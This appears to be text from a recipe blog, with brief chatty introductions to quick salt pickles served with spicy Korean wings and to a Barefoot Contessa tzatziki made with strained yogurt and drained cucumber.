Quick Salt Pickles

These are the delicious accompaniment I mentioned for those spicy Korean wings. I swear, if you can make ice cubes, you can make these. And if I write any more, it will take you longer to read this than to pickle these veggies!

Barefoot Contessa Tzaziki

About the only thing more fun than spelling tzatziki is eating it!

This bright, fresh Greek dip is a cool complement to grilled lamb, and with the wide availability of strained yogurt (like Fage), it’s a cinch to make. Time was, you’d have to wrap up the plain yogurt in cheesecloth and let it drain over a bowl for a few hours to get all the liquid out, or you’d wind up with a thin, watery dip. Nowadays, the only thing you have to drain is the grated cucumber. And I mean you really need to have the time and patience to let it drain.
